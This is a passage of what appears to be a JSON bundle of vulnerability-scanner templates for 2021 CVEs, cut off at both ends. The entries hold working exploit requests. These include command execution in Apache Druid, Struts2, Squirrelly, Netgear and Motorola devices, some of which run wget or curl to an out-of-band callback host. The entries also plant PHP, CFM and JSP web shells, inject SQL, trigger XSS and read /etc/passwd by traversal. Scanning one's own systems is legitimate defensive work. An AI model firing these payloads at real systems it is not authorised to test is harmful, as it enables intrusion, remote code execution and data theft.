\"style=animation-name:rotation+onanimationstart=alert(document.domain)//\")","contains(body_2, \"Paid Memberships Pro - Membership Plugin for WordPress\")"],"condition":"and"}]}]},{"id":"CVE-2021-25646","info":{"name":"Apache Druid - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /druid/indexer/v1/sampler HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\n\"type\":\"index\",\n\"spec\":{\n \"ioConfig\":{\n \"type\":\"index\",\n \"firehose\":{\n \"type\":\"local\",\n \"baseDir\":\"/etc\",\n \"filter\":\"passwd\"\n }\n },\n \"dataSchema\":{\n \"dataSource\":\"odgjxrrrePz\",\n \"parser\":{\n \"parseSpec\":{\n \"format\":\"javascript\",\n \"timestampSpec\":{\n\n },\n \"dimensionsSpec\":{\n\n },\n \"function\":\"function(){var hTVCCerYZ = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\\\"/bin/sh`@~-c`@~cat /etc/passwd\\\".split(\\\"`@~\\\")).getInputStream()).useDelimiter(\\\"\\\\A\\\").next();return {timestamp:\\\"4137368\\\",OQtGXcxBVQVL: hTVCCerYZ}}\",\n \"\":{\n \"enabled\":\"true\"\n }\n }\n }\n }\n},\n\"samplerConfig\":{\n \"numRows\":10\n}\n}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["numRowsRead","numRowsIndexed"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24472","info":{"name":"Onair2 < 3.9.9.2 & KenthaRadio < 2.0.2 - Remote File Inclusion/Server-Side Request Forgery","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp1/home-18/?qtproxycall=https://oast.me"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["

    Interactsh Server

    "]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-32819","info":{"name":"Nodejs Squirrelly - Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/?Express=aaaa&autoEscape=&defaultFilter=e%27);var+require=global.require+%7C%7C+global.process.mainModule.constructor._load;+require(%27child_process%27).exec(%27wget%20http://{{interactsh-url}}%27);//"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: Wget"]}]}]},{"id":"CVE-2021-24226","info":{"name":"AccessAlly <3.5.7 - Sensitive Information Leakage","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["
    \n\n find_profile\n \n \n \n \n \n name\n \n *\n \n \n \n \n \n \n\n","POST {{BaseURL}}/cobbler_api HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/xml\n\n\n\n generate_script\n \n \n \n {{profile}}\n \n \n \n \n \n \n \n \n \n /etc/passwd\n \n \n \n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/xml"]},{"type":"regex","regex":["root:.*:0","bin:.*:1","nobody:.*:99"],"condition":"or"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"profile","group":1,"regex":["(.*?)"],"internal":true}]}]},{"id":"CVE-2021-25063","info":{"name":"WordPress Contact Form 7 Skins <=2.5.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=cf7skins&tab=%27%3E%3Cimg+src+onerror%3Dalert%28document.domain%29%3E HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["' type='hidden"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-21972","info":{"name":"VMware vSphere Client (HTML5) - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/ui/vropspluginui/rest/services/getstatus"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["VSPHERE-UI-JSESSIONID"],"condition":"and"},{"type":"regex","part":"body","regex":["(Install|Config) Final Progress"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24364","info":{"name":"WordPress Jannah Theme <5.4.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["/wp-content/themes/jannah/assets/","attachment-jannah-image-"],"condition":"or"}]},{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=tie_get_user_weather&options=%7B%27location%27%3A%27Cairo%27%2C%27units%27%3A%27C%27%2C%27forecast_days%27%3A%275%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ecustom_name%27%3A%27Cairo%27%2C%27animated%27%3A%27true%27%7D"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-31805","info":{"name":"Apache Struts2 S2-062 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF\nContent-Length: 1095\n\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\nContent-Disposition: form-data; name=\"id\"\n\n%{\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))\n}\n\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\u2014\n"],"matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2021-21389","info":{"name":"BuddyPress REST API <7.2.1 - Privilege Escalation/Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /wp-json/buddypress/v1/signup HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json; charset=UTF-8\n\n{\n \"user_login\":\"{{randstr}}\",\n \"password\":\"{{randstr}}\",\n \"user_name\":\"{{randstr}}\",\n \"user_email\":\"{{randstr}}@interact.sh\"\n}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["user_login","registered","activation_key","user_email"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-21307","info":{"name":"Lucee Admin - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /lucee/admin/imgProcess.cfm?file=/whatever HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nimgSrc=a\n","POST /lucee/admin/imgProcess.cfm?file=/../../../context/{{randstr}}.cfm HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nimgSrc=\n\n\n\n\n\n\n\n
    Command:value=\"#form.cmd#\">
    Options: value=\"#form.opts#\">
    Timeout: value=\"#form.timeout#\"\n value=\"5\">
    \n\n\n\n\n\n\n\n
    \n","POST /lucee/{{randstr}}.cfm HTTP/1.1\nHost: {{Hostname}}\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nContent-Type: application/x-www-form-urlencoded\n\ncmd=id&opts=&timeout=5\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["uid=","gid=","groups="],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","regex":["(u|g)id=.*"]}]}]},{"id":"CVE-2021-25065","info":{"name":"Smash Balloon Social Post Feed < 4.1.1 - Authenticated Reflected Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=cff-top&cff_access_token=xox%3C%2Fscript%3E%3Cimg+src+onerror%3Dalert(document.domain)%3E&cff_final_response=true HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, \"\")","contains(body_2, \"custom-facebook-feed\")"],"condition":"and"}]}]},{"id":"CVE-2021-20167","info":{"name":"Netgear RAX43 1.0.3.96 - Command Injection/Authentication Bypass Buffer Overrun","severity":"high"},"requests":[{"raw":["POST /cgi-bin/readycloud_control.cgi?1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111/api/users HTTP/1.1\nHost: {{Hostname}}\n\n\"name\":\"';$(curl {{interactsh-url}});'\",\n\"email\":\"a@b.c\"\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: curl"]}]}]},{"id":"CVE-2021-22873","info":{"name":"Revive Adserver <5.1.0 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/ads/www/delivery/lg.php?dest=http://interact.sh","{{BaseURL}}/adserve/www/delivery/lg.php?dest=http://interact.sh","{{BaseURL}}/adserver/www/delivery/lg.php?dest=http://interact.sh","{{BaseURL}}/openx/www/delivery/lg.php?dest=http://interact.sh","{{BaseURL}}/revive/www/delivery/lg.php?dest=http://interact.sh","{{BaseURL}}/www/delivery/lg.php?dest=http://interact.sh"],"stop-at-first-match":true,"host-redirects":true,"max-redirects":2,"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2021-31682","info":{"name":"WebCTRL OEM <= 6.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.jsp?operatorlocale=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">","common/lvl5"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-28151","info":{"name":"Hongdian H8922 3.0.5 - Remote Command Injection","severity":"high"},"requests":[{"raw":["POST /tools.cgi HTTP/1.1\nHost: {{Hostname}}\nAuthorization: Basic Z3Vlc3Q6Z3Vlc3Q=\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}/tools.cgi\n\nop_type=ping&destination=%3Bid\n","POST /tools.cgi HTTP/1.1\nHost: {{Hostname}}\nAuthorization: Basic YWRtaW46YWRtaW4=\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}/tools.cgi\n\nop_type=ping&destination=%3Bid\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html","application/x-www-form-urlencoded"],"condition":"or"},{"type":"regex","regex":["uid=\\d+\\(([^)]+)\\) gid=\\d+\\(([^)]+)\\)"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-3577","info":{"name":"Motorola Baby Monitors - Remote Command Execution","severity":"high"},"requests":[{"raw":["GET /?action=command&command=set_city_timezone&value=$(wget%20http://{{interactsh-url}})) HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","words":["set_city_timezone"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24150","info":{"name":"WordPress Like Button Rating <2.6.32 - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["@timeout: 10s\nGET /wp-admin/admin-ajax.php?action=likebtn_prx&likebtn_q={{base64('http://likebtn.com.oast.me')}}\" HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Interactsh Server"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-36356","info":{"name":"Kramer VIAware - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /ajaxPages/writeBrowseFilePathAjax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nradioBtnVal=%3C%3Fphp%0A++++++++if%28isset%28%24_GET%5B%27cmd%27%5D%29%29%0A++++++++%7B%0A++++++++++++system%28%24_GET%5B%27cmd%27%5D%29%3B%0A++++++++%7D%3F%3E&associateFileName=%2Fvar%2Fwww%2Fhtml%2F{{randstr}}.php\n","GET /{{randstr}}.php?cmd=sudo+rpm+--eval+'%25{lua%3aos.execute(\"curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'\")}' HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: {{useragent}}"]}]}]},{"id":"CVE-2021-41266","info":{"name":"MinIO Operator Console Authentication Bypass","severity":"critical"},"requests":[{"raw":["POST /api/v1/login/oauth2/auth HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/json\n\n{\"code\":\"test\",\"state\":\"test\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["sessionId"]},{"type":"word","part":"header","words":["token"]},{"type":"status","status":[201,200],"condition":"or"}]}]},{"id":"CVE-2021-40875","info":{"name":"Gurock TestRail Application files.md5 Exposure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/files.md5","{{BaseURL}}/testrail/files.md5"],"stop-at-first-match":true,"max-size":1000,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["app/arguments/admin"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-40539","info":{"name":"Zoho ManageEngine ADSelfService Plus v6113 - Unauthenticated Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /./RestAPI/LogonCustomization HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=8b1ab266c41afb773af2e064bc526458\n\n--8b1ab266c41afb773af2e064bc526458\nContent-Disposition: form-data; name=\"methodToCall\"\n\nunspecified\n--8b1ab266c41afb773af2e064bc526458\nContent-Disposition: form-data; name=\"Save\"\n\nyes\n--8b1ab266c41afb773af2e064bc526458\nContent-Disposition: form-data; name=\"form\"\n\nsmartcard\n--8b1ab266c41afb773af2e064bc526458\nContent-Disposition: form-data; name=\"operation\"\n\nAdd\n--8b1ab266c41afb773af2e064bc526458\nContent-Disposition: form-data; name=\"CERTIFICATE_PATH\"; filename=\"ws.jsp\"\n\n<%@ page import=\"java.util.*,java.io.*\"%>\n<%@ page import=\"java.security.MessageDigest\"%>\n<%\nString cve = \"CVE-2021-40539\";\nMessageDigest alg = MessageDigest.getInstance(\"MD5\");\nalg.reset();\nalg.update(cve.getBytes());\nbyte[] digest = alg.digest();\nStringBuffer hashedpasswd = new StringBuffer();\nString hx;\nfor (int i=0;i\n--8b1ab266c41afb773af2e064bc526458--\n","POST /./RestAPI/LogonCustomization HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=43992a07d9a30213782780204a9f032b\n\n--43992a07d9a30213782780204a9f032b\nContent-Disposition: form-data; name=\"methodToCall\"\n\nunspecified\n--43992a07d9a30213782780204a9f032b\nContent-Disposition: form-data; name=\"Save\"\n\nyes\n--43992a07d9a30213782780204a9f032b\nContent-Disposition: form-data; name=\"form\"\n\nsmartcard\n--43992a07d9a30213782780204a9f032b\nContent-Disposition: form-data; name=\"operation\"\n\nAdd\n--43992a07d9a30213782780204a9f032b\nContent-Disposition: form-data; name=\"CERTIFICATE_PATH\"; filename=\"Si.class\"\n\n{{hex_decode('CAFEBABE0000003400280D0A000C00160D0A0017001807001908001A08001B08001C08001D08001E0D0A0017001F0700200700210700220100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100083C636C696E69743E01000D0A537461636B4D61705461626C6507002001000D0A536F7572636546696C6501000753692E6A6176610C000D0A000E0700230C002400250100106A6176612F6C616E672F537472696E67010003636D640100022F63010004636F707901000677732E6A737001002A2E2E5C776562617070735C61647373705C68656C705C61646D696E2D67756964655C746573742E6A73700C002600270100136A6176612F696F2F494F457863657074696F6E01000253690100106A6176612F6C616E672F4F626A6563740100116A6176612F6C616E672F52756E74696D6501000D0A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B01000465786563010028285B4C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0021000B000C0000000000020001000D0A000E0001000F0000001D00010001000000052AB70001B10000000100100000000600010000000200080011000E0001000F00000064000500020000002BB800024B2A08BD000359031204535904120553590512065359061207535907120853B600094CA700044BB10001000000260029000D0A00020010000000120004000000050004000600260007002A00080012000000070002690700130000010014000000020015')}}\n--43992a07d9a30213782780204a9f032b--\n","POST /./RestAPI/Connection HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nmethodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+Si+-providerpath+%22..%5Cbin%22\n","GET /help/admin-guide/test.jsp HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["114f7ce498a54a1be1de1f1e5731d0ea"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24169","info":{"name":"WordPress Advanced Order Export For WooCommerce <3.1.8 - Authenticated Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=wc-order-export&tab= HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, \"\")","contains(body_2, \"woo-order-export-lite\")"],"condition":"and"}]}]},{"id":"CVE-2021-25094","info":{"name":"Wordpress Tatsubuilder <= 3.3.11 - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nX-Requested-With: XMLHttpRequest\nContent-Type: multipart/form-data; boundary=a8bfdd88f26f754c25496d0dd4962d38\n\n--a8bfdd88f26f754c25496d0dd4962d38\nContent-Disposition: form-data; name=\"action\"\n\nadd_custom_font\n--a8bfdd88f26f754c25496d0dd4962d38\nContent-Disposition: form-data; name=\"file\"; filename=\"{{filename}}.zip\"\n\n{{zip('.{{filename}}.php','')}}\n--a8bfdd88f26f754c25496d0dd4962d38--\n"],"matchers":[{"type":"word","part":"body","words":["\"name\":\"{{to_lower(filename)}}\"","\"status\":\"success"],"condition":"and","internal":true}]},{"raw":["GET /wp-content/uploads/typehub/custom/{{to_lower(filename)}}/.{{filename}}.php HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","part":"body","words":["{{marker}}"]}]}]},{"id":"CVE-2021-37573","info":{"name":"Tiny Java Web Server - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/te%3Cimg%20src=x%20onerror=alert(42)%3Est"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["
    404 test not found
    "]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[404]}]}]},{"id":"CVE-2021-35380","info":{"name":"TermTalk Server 3.24.0.2 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/file?valore=../../../../../windows/win.ini"],"matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"}]}]},{"id":"CVE-2021-21975","info":{"name":"vRealize Operations Manager API - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["POST /casa/nodes/thumbprints HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json;charset=UTF-8\n\n[\"127.0.0.1:443/ui/\"]\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["vRealize Operations Manager","thumbprint","address"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24285","info":{"name":"WordPress Car Seller - Auto Classifieds Script - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\naction=request_list_request&order_id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a767671,0x685741416c436654694d446d416f717a6b54704a457a5077564653614970664166646654696e724d,0x7171786b71),NULL-- -\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["qzvvqhWAAlCfTiMDmAoqzkTpJEzPwVFSaIpfAfdfTinrMqqxkq"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24915","info":{"name":"Contest Gallery < 13.1.0.6 - SQL injection","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin.php?page=contest-gallery/index.php&users_management=true&option_id=1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ncg-search-user-name=&cg-search-user-name-original=%27%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x717a6b7871%2CIFNULL%28CAST%28VERSION%28%29%20AS%20NCHAR%29%2C0x20%29%2C0x716b707871%29%2CNULL--%20-&cg_create_user_data_csv_new_export=true&cg-search-gallery-id-original=&cg-search-gallery-id=&cg_create_user_data_csv=true\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["WpUserId","Username","Usermail"],"condition":"and"},{"type":"word","part":"header","words":["text/csv","filename="],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-29505","info":{"name":"XStream <1.4.17 - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\n\n\n    \n    \n        \n            2\n        \n        3\n        \n            12345\n            \n                com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content\n            \n        \n        \n            12345\n            \n                \n                    true\n                    SOAP_11\n                    \n                    \n                        false\n                        \n                            \n                                \n                                    \n                                        aa\n                                        aa\n                                    \n                                    \n                                        \n                                        \n                                            \n                                                UnicastRef\n                                                {{interactsh-url}}\n                                                1099\n                                                0\n                                                0\n                                                0\n                                                0\n                                                false\n                                            \n                                        \n                                        {{interactsh-url}}\n                                        1099\n                                    \n                                \n                            \n                        \n                    \n                \n            \n        \n    \n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["timestamp","com.thoughtworks.xstream"],"condition":"or"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2021-45428","info":{"name":"Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["GET /{{randstr}}.txt HTTP/1.1\nHost: {{Hostname}}\n","PUT /{{randstr}}.txt HTTP/1.1\nHost: {{Hostname}}\n\nCVE-2021-45428\n","GET /{{randstr}}.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["status_code_1 == 404 && status_code_2 == 201","contains(body_3, \"CVE-2021-45428\") && status_code_3 == 200"],"condition":"and"}]}]},{"id":"CVE-2021-39316","info":{"name":"WordPress DZS Zoomsounds <=6.50 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/?action=dzsap_download&link=../../../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-26812","info":{"name":"Moodle Jitsi Meet 2.7-2.8.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/mod/jitsi/sessionpriv.php?avatar=https%3A%2F%2F{{Hostname}}%2Fuser%2Fpix.php%2F498%2Ff1.jpg&nom=test_user%27)%3balert(document.domain)%3b//&ses=test_user&t=1"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["alert(document.domain);"]},{"type":"word","part":"header","words":["MoodleSession"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-41467","info":{"name":"JustWriting  -  Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/sync/dropbox/download?challenge=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24239","info":{"name":"WordPress Pie Register <3.7.0.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/pie-register/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Pie Register","Tags:"],"condition":"and"}]},{"method":"GET","path":["{{BaseURL}}/wp-admin/admin.php?page=pr_new_registration_form&show_dash_widget=1&invitaion_code=PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg=="],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(body, \"\") && contains(body, \"invitaion-code-table\")"],"condition":"and"}]}]},{"id":"CVE-2021-42627","info":{"name":"D-Link DIR-615 - Unauthorized Access","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wan.htm"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["src='menu.js?v=\"+Math.random()+\"'>\");","var ipv6conntype"],"condition":"and"},{"type":"word","part":"header","words":["Virtual Web"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-45422","info":{"name":"Reprise License Manager 14.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/goform/activate_process?isv=&akey=&hostid=&count=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["value=\"\">\">)
    "],"condition":"or"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24627","info":{"name":"G Auto-Hyperlink <= 1.0.1 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+I\n","GET /wp-admin/admin.php?page=g-auto-hyperlink-edit&id=-2198+UNION+ALL+SELECT+NULL%2Cmd5%28{{num}}%29%2Ccurrent_user%28%29%2Ccurrent_user%28%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["c8c605999f3d8352d7bb792cf3fdb25b","Keyword","g-auto-hyperlink-edit"],"condition":"and"},{"type":"word","part":"header_2","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-41773","info":{"name":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high"},"requests":[{"raw":["GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1\nHost: {{Hostname}}\n","GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1\nHost: {{Hostname}}\n","POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\necho Content-Type: text/plain; echo; {{cmd}}\n"],"stop-at-first-match":true,"matchers-condition":"or","matchers":[{"type":"word","name":"RCE","words":["CVE-2021-41773-POC"]},{"type":"regex","name":"LFI","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2021-34473","info":{"name":"Exchange Server - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com","{{BaseURL}}/autodiscover/autodiscover.json?@test.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3F@test.com"],"matchers":[{"type":"word","part":"body","words":["Microsoft.Exchange.Clients.Owa2.Server.Core.OwaADUserNotFoundException","Exchange MAPI/HTTP Connectivity Endpoint"],"condition":"or"}]}]},{"id":"CVE-2021-40661","info":{"name":"IND780 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/IND780/excalweb.dll?webpage=../../AutoCE.ini"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["ExePath=\\Windows","WorkDir=\\Windows"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24926","info":{"name":"WordPress Domain Check <1.0.17 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: 